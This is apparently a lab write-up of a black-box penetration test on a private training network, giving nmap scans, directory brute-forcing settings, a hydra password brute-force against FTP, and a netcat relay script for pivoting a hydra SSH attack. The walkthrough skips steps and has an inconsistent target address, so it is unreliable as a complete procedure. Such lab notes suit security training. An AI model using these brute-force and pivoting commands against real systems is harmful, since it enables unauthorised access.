Black Box Test #3

You have been engaged in a Black-box Penetration Test (172.16.37.0/24 range). Your goal is to read the flag file on each machine.

Prework

Connect to VPN

sudo openvpn black-box-penetration-test-3.ovpn

Scan network

sudo nmap -sn 172.16.37.0/24 -oN hostAlive.nmap &&
cat hostAlive.nmap | grep for | awk {'print $5'} > ips.txt &&
sudo nmap   -iL ips.txt -A --open -oX portScan.xml &&
nmap2md.sh portScan.xml | xclip

Scanner

Generated on Sun Jul 18 11:53:14 2021 with nmap 7.91.

nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open -oX portScan.xml

Hosts Alive (2)

Host
OS
Accuracy

172.16.37.220

Linux 3.11 - 4.1

95%

172.16.37.234

Linux 3.11 - 4.1

95%

Open Ports and Running Services

✔️172.16.37.220 (Linux 3.11 - 4.1 - 95%)

Port
State
Service
Version

80/tcp

open

http

Apache httpd 2.4.18

3307/tcp

open

tcpwrapped

  • Target URL: http://172.16.37.220

  • File Extension: *

  • File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

✔️172.16.37.234 (Linux 3.11 - 4.1 - 95%)

Port
State
Service
Version

40121/tcp

open

ftp

ProFTPD 1.3.0a

40180/tcp

open

http

Apache httpd 2.4.18

  • Target URL: http://172.16.37.234:40180

  • File Extension: *

  • File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

ftp splash screen suggests to login with 'ftpuser' while trying to connect.

ftp 172.16.37.234 40121 
Connected to 172.16.37.234.
220 ProFTPD 1.3.0a Server (ProFTPD Default Installation. Please use 'ftpuser' to log in.) [172.16.37.234]
Name (172.16.37.234:kali): ftpuser
hydra -t 30 -l ftpuser -P /usr/share/amass/wordlists/all.txt ftp://172.16.37.234:40121
nc -l 1234

We run nmap from this new machine to discover opened ports on 172.16.50.224

nmap 172.16.50.222 -sV -n -v -Pn -p- -T4 -oX portScan.xml

Use netcat to pivot an hydra attack for the ssh service on 172.16.50.222 :

#!/bin/bash
# Listener Relay

cd /tmp; mknod backpipex p
while true; do
    nc -lvp 111 0<backpipex | nc -lvp 222 | tee backpipex
done;

References

Last updated

Was this helpful?